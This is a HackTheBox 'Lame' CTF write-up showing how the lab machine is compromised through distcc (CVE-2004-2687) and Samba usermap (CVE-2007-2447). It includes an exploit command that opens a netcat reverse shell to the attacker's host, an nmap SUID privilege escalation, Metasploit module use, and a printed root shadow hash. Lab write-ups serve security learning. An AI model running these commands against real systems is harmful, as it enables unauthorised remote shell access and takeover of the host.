HTB-Lame

HTB-Lame
eugewxBox Info
| Difficulty | Easy |
|---|---|
| OS | Linux |
| IP Address | 10.10.10.3 |
Port Scanning
1 | # Check all open TCP |
Update DNS
1 | sudo nano /etc/hosts |
Service Enumeration
445/tcp - SMB
1 | # NMAP Scanning |
From the nmap scanning we can see smb is running under 3.0.20 version. Upon searchsploit found a vulnerability
Impacted to CVE-2007-2447
Check if the SMB file able to access with anonymous
1 | smbclient --no-pass -L //10.10.10.3/ |
3632/tcp - DistCC
Upon nmap vulnerability scanning, found the port is vulnerable to distcc
distcc is designed to distribute compilation tasks across multiple machines to speed up the build process. However, if the distccd daemon is not properly secured, it exposes a remote code execution (RCE) vulnerability. This occurs because the daemon listens on a network port and accepts commands from any client, allowing them to execute shell commands on the server as the user running the daemon.
The vulnerability has been assigned CVE-2004-2687 and affects distccd versions prior to 3.1.
#1 Initiate User Foothold with DistCC Vulnerability
CVE-2004-2687
https://github.com/n3rdh4x0r/distccd_rce_CVE-2004-2687
Here we will use the RCE script from github to obtain the RCE.
1 | git clone https://github.com/n3rdh4x0r/distccd_rce_CVE-2004-2687 |
Exploit
1 | python3 distccd_rce.py -t 10.10.10.3 -p 3632 -c "nc 10.10.xx.xx 9001 -e /bin/sh" |
Upgrade FullyTTY
1 | python -c 'import pty;pty.spawn("/bin/sh")' |
User Flag
Privilege Escalation
SUID
1 | find / -type f -user root \( -perm -4000 -o -perm -2000 \) 2>/dev/null -ls |
Found that nmap is part of SUID
Initiate Root Foothold
GTFObins
[nmap
|
GTFOBins](https://gtfobins.github.io/gtfobins/nmap/)
Found that second one is working
Root Flag
#2 Initiate User Foothold with SMB Vulnerability
CVE-2007-2447 (Metasploit)
As we know the smb port is vulnerable to CVE-2007-2447 . We can use metasploit to automate the exploit like below
1 | use exploit/multi/samba/usermap_script |
Wait for the session enable, here we got the root user!
CVE-2007-2447 (Manually)
Here I would like to do it manually to gain understanding.
It just a short script to exploit, where def exploit
It start with a smbclient session with
- username
/=nohup [payload]`` - password is random 16 characters
- domain is using SMBDomain
Basically the smb vulnerability allow to execute in its username and script is using nohup with payload which start the process background. Understand the exploitation, lets work on the PoC
1 | # Start Listener |
However it showing the error of NT_STATUS_LOGON_FAILURE
There is an alternative method, is we login to the smb session first and logon
1 | smbclient --no-pass //10.10.10.3/tmp |
User flag
I had completed the user flag in #1 Initiate User Foothold with DistCC Vulnerability
We had obtained the root user, can check the user.txt file as well
Root flag
Shadow hash
1 | root:$1$p/d3CvVJ$4HDjev4SJFo7VMwL2Zg6P0:17239:0:99999:7::: |
























